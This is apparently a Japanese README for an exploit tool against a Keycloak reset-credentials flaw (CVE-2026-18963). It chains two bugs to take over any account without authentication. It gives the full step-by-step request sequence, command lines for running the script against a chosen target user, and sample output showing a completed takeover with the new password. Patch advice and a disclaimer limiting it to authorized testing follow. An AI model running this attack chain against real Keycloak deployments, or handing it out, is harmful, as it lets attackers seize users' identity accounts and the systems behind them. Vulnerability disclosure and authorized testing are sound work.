
CVE-2026-18963のエクスプロイト。Keycloakのreset-credentialsフローにおける重大な未認証アカウント乗っ取りで、2つのバグを連鎖させてメール検証をバイパスし、新しいパスワードを設定します。
| フィールド | 値 |
|---|
| CVE | CVE-2026-18963 |
| CVSS スコア | 9.1 (Critical) |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — 脆弱なパスワード回復メカニズム |
| 影響を受けるバージョン | Keycloak 26.0.0 – 26.7.1 |
| 修正済みバージョン | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| コンポーネント | keycloak-services (認証情報リセットフロー) |
| 参照 | https://github.com/keycloak/keycloak/issues/51833 |
2つのバグが連鎖します:
バグ 1 — tryAnotherWay ハンドラが、認証セッション内の実行 ID にスコープを限定せずに
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" というノートを保存します。
バグ 2 — ResetCredentialEmail.action() は、ACTION_TOKEN_USER_ID をチェックせずに、そのノートが存在する場合に context.success() を呼び出します(メール検証を完全にスキップします)。
1. GET /realms/{realm}/protocol/openid-connect/auth
→ OIDC セッションを確立し、パスワード忘れリンクを抽出
2. GET /login-actions/reset-credentials?...
→ 認証情報リセットフォームを読み込み
3. POST tryAnotherWay=on
→ AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED ノートを設定(バグ 1)
4. POST username={target} → セレクターフォーム
→ 対象ユーザーを認証セッションにバインドし、メールステップをトリガー
5. GET /login-actions/restart?...
→ 任意: ブラウザセッションポーリングをミラーリング
6. GET /login-actions/reset-credentials?... (ステップ 2 と同じ URL)
→ 古いセレクターノートがまだ存在 → 認証情報セレクターが再表示
7. POST username={target} → 古いセレクター
→ ResetCredentialEmail がノートを検出し、context.success() を呼び出す(バグ 2)
→ フローは UPDATE_PASSWORD に直接進む — メールは送信されない
8. POST password-new={attacker_password}
→ アカウント乗っ取り完了
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url Keycloak ベース URL(必須)
--realm 対象レルム(デフォルト: master)
--username 乗っ取るアカウントのユーザー名またはメールアドレス(必須)
--new-password 対象アカウントに設定するパスワード(必須)
--client-id OIDC クライアント ID(デフォルト: account)
--auth-prefix auto | new | old
auto = 自動検出(デフォルト)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose 完全な HTTP トレースを出力
--skip-version-check
# 新旧 Keycloak URL プレフィックスを自動検出
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# レガシー /auth/ プレフィックスを強制(Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# 詳細な HTTP トレース
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Keycloak 未認証アカウント乗っ取り
ユーザー : [email protected]
[ステップ 0] バージョンとパスプレフィックスを検出中
[+] パスプレフィックス: '/auth' → 検出
[?] バージョンが検出されませんでした — 続行します。
ターゲット : https://sso.example.com/auth/realms/myrealm
[ステップ 1] OIDC パスワード忘れリンク経由で認証情報リセットフォームを開く
[+] OIDC セッションを確立
[+] 認証情報リセットフォームを読み込み
[ステップ 2] POST tryAnotherWay=on → セレクターノートを設定(バグ 1)
[+] 認証情報セレクターフォームを受信
[ステップ 3] POST username='[email protected]' → ユーザーをバインドし、メールステップをトリガー
[+] メールステップがトリガーされました — セッションポーリング URL を発見
[ステップ 4] GET セッションポーリングパス(任意)
[ステップ 5] パスワード忘れ URL を再訪問 → 古いセレクターを取得
[+] 古い認証情報セレクターフォームを受信
[ステップ 6] 古いセレクターに username を POST → バイパスをトリガー(バグ 2)
[+] バイパス成功 — パスワード更新フォームを受信
[ステップ 7] 新しいパスワードを設定
============================================================
[+] 成功 — アカウント乗っ取り完了
[+] ターゲット : https://sso.example.com/auth/realms/myrealm
[+] ユーザー : [email protected]
[+] パスワード : Pwn3d2026!
============================================================
| Keycloak バージョン | URL プレフィックス | 脆弱性あり |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ 26.x 系の場合 |
| ≥ 17.x | /realms/ | ✅ 26.7.2 未満の場合 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | 任意 | ❌ 修正済み |
このスクリプトは、ターゲットがレガシーの /auth/ プレフィックスを使用しているか、モダンなパスを使用しているかを自動的に検出するため、手動設定なしで新旧両方のデプロイメントに対して動作します。
パッチ適用(推奨): 以下の修正済みバージョンのいずれかにアップグレードしてください:
26.4.15 以降(26.4.x 系)26.6.6 以降(26.6.x 系)26.7.2 以降(26.7.x 系)26.8.0 以降一時的な回避策: すべてのレルムでパスワード忘れを無効化:
レルム設定 → ログイン → パスワード忘れ → OFF
このツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。